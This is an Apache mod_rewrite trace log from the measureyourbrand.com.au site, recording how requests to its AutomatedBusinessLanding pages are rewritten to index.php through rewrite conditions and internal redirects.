[Mon Nov 10 18:43:42.644646 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644667 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644680 2025] [rewrite:trace4] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644691 2025] [rewrite:trace1] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3804010f50/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644937 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644946 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644946 2025] [rewrite:trace4] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644954 2025] [rewrite:trace4] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644957 2025] [rewrite:trace4] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644969 2025] [rewrite:trace2] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644978 2025] [rewrite:trace3] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644982 2025] [rewrite:trace2] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.644993 2025] [rewrite:trace2] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:42.645004 2025] [rewrite:trace1] [pid 11496:tid 11568] mod_rewrite.c(505): [client 192.42.116.178:24495] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f382c0a1300/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:44.522895 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.522942 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.522953 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.522972 2025] [rewrite:trace4] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523010 2025] [rewrite:trace4] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523025 2025] [rewrite:trace4] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523035 2025] [rewrite:trace2] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523046 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523060 2025] [rewrite:trace2] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523072 2025] [rewrite:trace2] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523081 2025] [rewrite:trace1] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810bd20/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523228 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523243 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523259 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523272 2025] [rewrite:trace4] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523283 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523293 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523302 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523345 2025] [rewrite:trace4] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523362 2025] [rewrite:trace1] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3838107020/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523568 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523588 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523602 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523615 2025] [rewrite:trace4] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523629 2025] [rewrite:trace4] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523642 2025] [rewrite:trace4] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523651 2025] [rewrite:trace2] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523661 2025] [rewrite:trace3] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523671 2025] [rewrite:trace2] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523681 2025] [rewrite:trace2] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:44.523690 2025] [rewrite:trace1] [pid 11494:tid 11514] mod_rewrite.c(505): [client 192.42.116.178:31694] 192.42.116.178 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38380120a0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:58.248433 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248515 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248533 2025] [rewrite:trace4] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248552 2025] [rewrite:trace4] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248566 2025] [rewrite:trace4] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248576 2025] [rewrite:trace2] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248587 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248600 2025] [rewrite:trace2] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248611 2025] [rewrite:trace2] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248621 2025] [rewrite:trace1] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800010180/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248746 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248764 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248773 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248795 2025] [rewrite:trace4] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248806 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248816 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248826 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248840 2025] [rewrite:trace4] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.248849 2025] [rewrite:trace1] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000eb088/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249080 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249088 2025] [rewrite:trace3] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249116 2025] [rewrite:trace4] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:58.249125 2025] [rewrite:trace4] [pid 11582:tid 11588] mod_rewrite.c(505): [client 185.220.100.246:38006] 185.220.100.246 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340c4a00/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
